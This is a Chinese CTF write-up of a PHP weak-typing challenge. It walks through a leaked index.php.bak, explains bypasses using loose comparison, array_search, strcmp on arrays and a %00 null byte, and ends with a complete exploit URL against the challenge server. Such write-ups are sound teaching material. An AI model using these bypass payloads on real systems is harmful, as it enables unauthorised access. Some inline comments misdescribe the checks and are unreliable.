首先看题目:http://39.105.180.136:8001/95fe19724cc6084f08366340c848b791/
发现是一片空白
这里我扫了半天的目录,因为我听见他说泄露,但是还是没用扫到
最后才发现扫到了index.php.bak这个泄露
<?php
$v1=0; //v1=0
$v2=0; //v2=0
$v3=0; //v3=0
$a=(array)unserialize(@$_GET['foo']);
把反序列的结果变成数组
if(is_array($a)){
is_numeric(@$a["param1"])?die("nope"):NULL;
//如果param1是数组就会die
if(@$a["param1"]){
($a["param1"]>2017)?$v1=1:NULL;
}
if(is_array(@$a["param2"])){
if(count($a["param2"])!==5 OR !is_array($a["param2"][0])) die("nope");
//count是计算数组里面的数量的
//这里面的意思是计算$a里面的param2数组是否不等于5个数组
或者$a里面的param2里面的第一个是数组
$pos = array_search("nudt", $a["param2"]);
$pos===false?die("nope"):NULL;
foreach($a["param2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
}
$c=@$_GET['egg']; //c等于get传输进行的egg
$d=@$_GET['fish']; //d等于get传输进来的fish
if(@$c[1]){ //如果$c的[1]存在
if(!strcmp($c[1],$d) && $c[1]!==$d){ //在这里要好好讲讲关于这个!这里本来strcmp如果是存在就会返回0是0才会执行下面的,结果加了!就变成了不是0就会执行下面的,并且$c[1]不能等于$d
eregi("M|n|s",$d.$c[0])?die("nope"):NULL;
//这里
strpos(($c[0].$d), "MyAns")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}
?>
那么这道题的目的很简单,v1和v2和v3都必须赋值成功了
重要的地方都已经标红
那么其实这道题分析下来你会发现并不难
首先看第一个点的绕过办法
$a=(array)unserialize(@$_GET['foo']);
if(is_array($a)){
is_numeric(@$a["param1"])?die("nope"):NULL;
if(@$a["param1"]){
($a["param1"]>2017)?$v1=1:NULL;
}
也就是这段代码
这里面要求我们输入的必须是数组,而且要求不能是数字,而且必须大于2017
我们要知道不能为数字还必须大于2017,那么就需要利用这里面的弱类型
方式就是:
$aaa=array("param1" =>"2018a",
这里面写了2018a
在php里面弱类型会自动删去a去比较
所以最后就会变成2018>2017
if(is_array(@$a["param2"])){
if(count($a["param2"])!==5 OR !is_array($a["param2"][0])) die("nope");
看第二个,他首先判断param2是不是数组
那么我们就这样写
"param2"=>[]
然后他判断里面是5个或者param2的第0位是数组
那么他就不会die
那么接下来我们的做法就是
"param2" =>[[0],0,0,0,0]);
大家肯定疑惑这里面为什么写0
那么我接下来讲他的下一个限制
$pos = array_search("nudt", $a["param2"]);
$pos===false?die("nope"):NULL;
foreach($a["param2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
这段,首先看到这个array_search在这里,他会在param2这个数组里面去搜索nudt
如果搜索不到就会die,那么很多人就会想到那就直接写到里面就行了呗
其实这里面就可以看下一条限制
foreach($a["param2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
首先这里要了解一下foreach,这里面的val就是你的值
也就是你写的0,也就是array_seach可以搜索到的值,这句代码的意思是不允许代码里面有nudt
这一下就矛盾了,那么这里就可以用array_search的弱类型的漏洞
全部写0这样array_search就不认识了,就会默认搜索到了nudt
那么我们的payload的最后就是
<?php
$aaa=array("param1" =>"2018a","param2" =>[[0],0,0,0,0]);
echo var_dump(serialize($aaa));
?>
我们运行一下这个
就会得到
a:2:{s:6:%22param1%22;s:5:%222018a%22;s:6:%22param2%22;a:5:{i:0;a:1:{i:0;i:0;}i:1;i:0;i:2;i:0;i:3;i:0;i:4;i:0;}}
那么这地方就是他的一段payload
接下来继续分析代码
}
$c=@$_GET['egg']; //c等于get传输进行的egg
$d=@$_GET['fish']; //d等于get传输进来的fish
if(@$c[1]){ //如果$c的[1]存在
if(!strcmp($c[1],$d) && $c[1]!==$d){ //在这里要好好讲讲关于这个!这里本来strcmp如果是存在就会返回0是0才会执行下面的,结果加了!就变成了不是0就会执行下面的,并且$c[1]不能等于$d
eregi("M|n|s",$d.$c[0])?die("nope"):NULL;
//这里
strpos(($c[0].$d), "MyAns")?$v3=1:NULL;
}
}
接下来看这个
首先是egg赋值c,fish赋值d
然年后这里会检测你的c的[1]位存在不存在东西,这里的意思就是判断你数组里面的[1]
要求你传入的是数组
然后strcmp会判断$d和$c做对比,看存不存在,如果等于0(也就是俩个相等的情况下)
并且$c的[1]不等于d,而且这里面用的强比较,所以这里我们还是乖乖的别写一样把
看到eregi我们就应该立马想到00截断,我们读
eregi("M|n|s",$d.$c[0])?die("nope"):NULL;
//这里
strpos(($c[0].$d), "MyAns")?$v3=1:NULL;
这俩行代码就可以知道,他要求我们的c的0位不能出现M或者n或者s
但是第二行又要求我们输入MyAns,
那么绕过就是00截断
&egg[0]=%00MyAns
而且大家要记得他要求我们输入的1位不能等于d
那么就输入&egg[1]=567&fish=123
这里大家就会高兴,我终于解决问题了,但其实并没有
重新回到那句
if(!strcmp($c[1],$d) && $c[1]!==$d){
这句,我们看到c[1]是全部不等于$d
但是我们数据类型相等了
大家这里肯定说了不对阿
c[1]不是数组吗,记住c[]是数组,c[1]是元素,元素里面的值不是数组
那么我们要写
&egg[1][]=567&fish=123
或者
&egg[1]=567&fish[]=123
这样我们egg就是二维数组,他类型就是数组,
而fish的数据类型不是数组
那么最后的payload的就是
http://39.105.180.136:8001/95fe19724cc6084f08366340c848b791/index.php?foo=a:2:{s:6:%22param1%22;s:5:%222018a%22;s:6:%22param2%22;a:5:{i:0;a:1:{i:0;i:0;}i:1;i:0;i:2;i:0;i:3;i:0;i:4;i:0;}}&egg[0]=%00MyAns&egg[1][]=567&fish=123
|